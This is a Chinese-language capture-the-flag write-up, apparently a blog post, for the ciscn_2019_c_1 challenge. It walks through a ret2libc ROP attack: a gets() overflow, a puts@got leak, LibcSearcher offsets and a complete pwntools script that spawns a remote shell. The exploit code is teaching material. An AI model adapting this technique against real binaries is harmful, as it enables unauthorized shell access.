一个ROP链的利用
总体思路:
- 获取
puts@got
,得到glibc地址(理解为特征码),对应一定偏移量得到system@got
和/bin/sh
字符串
- 执行危险函数
细分来看:
- 为了得到
puts
真实地址(不一定非要puts
,其他在程序的函数比如gets
也可),我们需要通过puts@plt
输出puts@got
指向的值(这就是真实puts
地址)
- 为了输出
puts
,需要为puts@plt
传递参数,在x64
上,参数依次放在rdi
, rsi
, rdx
, rcx
, r8
, r9
上,为此我们让程序返回到pop rdi;ret
指令上,这样可以将puts@got
弹到rdi
上,从而输出puts@got
指向的puts
的值
- 利用
1
| ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret|rdi' | grep 'pop rdi'
|
可轻易锁定pop rdi;ret
的地址1
| 0x0000000000400c83 : pop rdi ; ret
|
源文件是这个
先checksec
下:
然后ida反编译,发现在encrypt
函数存在栈溢出:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| int encrypt() { size_t v0; char s[48]; __int16 v3;
memset(s, 0, sizeof(s)); v3 = 0; puts("Input your Plaintext to be encrypted"); gets(s); while ( 1 ) { v0 = (unsigned int)x; if ( v0 >= strlen(s) ) break; if ( s[x] <= 96 || s[x] > 122 ) { if ( s[x] <= 64 || s[x] > 90 ) { if ( s[x] > 47 && s[x] <= 57 ) s[x] ^= 0xFu; } else { s[x] ^= 0xEu; } } else { s[x] ^= 0xDu; } ++x; } puts("Ciphertext"); return puts(s); }
|
Line10存在栈溢出
但是整个程序不存在system
、/bin/sh
字眼,可能需要构造ROP链。
我们需要构造如下payload,来控制puts
输出目标函数地址:
1 2 3 4 5 6
| payload1 = ('A'*(0x50+8)).encode('ascii') + p64(pop_rdi_ret) payload1 += p64(puts_got) + p64(puts_plt) + p64(start_addr)
|
泄漏puts
函数的地址后,利用基准偏移可得到其危险函数地址:
1 2 3 4 5 6 7 8 9 10
| io.recvuntil("Ciphertext\n") io.recvline() leak=io.recvline()[:-1].ljust(8, b'\0') print(leak) puts_leak = u64(leak) print(puts_leak) libc = LibcSearcher('puts',puts_leak) libc_offset = puts_leak - libc.dump('puts') sys_addr = libc_offset + libc.dump('system') bin_sh_addr = libc_offset + libc.dump('str_bin_sh')
|
再次构造类似payload1
的payload:
1 2
| payload2 = ('A'*(88)).encode('ascii') + p64(ret) payload2 += p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(sys_addr)
|
与前者不同,此处需要先ret
一下,以对齐16字节,防止出错
总exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| from pwn import * from LibcSearcher import *
io = remote("node4.buuoj.cn",28402)
gamebox = ELF('./ciscn_2019_c_1')
pop_rdi_ret = 0x0000000000400c83 puts_plt = gamebox.plt['puts'] puts_got = gamebox.got['puts'] print('hiiiiiiiiiiii',p64(puts_got)) start_addr = gamebox.symbols['_start'] payload1 = ('A'*(88)).encode('ascii') + p64(pop_rdi_ret) payload1 += p64(puts_got) + p64(puts_plt) + p64(start_addr)
io.sendlineafter("Input your choice!\n","1") io.sendlineafter("Input your Plaintext to be encrypted\n",payload1)
io.recvuntil("Ciphertext\n") io.recvline() leak=io.recvline()[:-1].ljust(8, b'\0') print(leak) puts_leak = u64(leak) print(puts_leak) libc = LibcSearcher('puts',puts_leak) libc_offset = puts_leak - libc.dump('puts') sys_addr = libc_offset + libc.dump('system') bin_sh_addr = libc_offset + libc.dump('str_bin_sh')
ret = 0x00000000004006b9 payload2 = ('A'*(88)).encode('ascii') + p64(ret) payload2 += p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(sys_addr) io.sendline("1") io.sendlineafter("Input your Plaintext to be encrypted\n",payload2) io.interactive()
|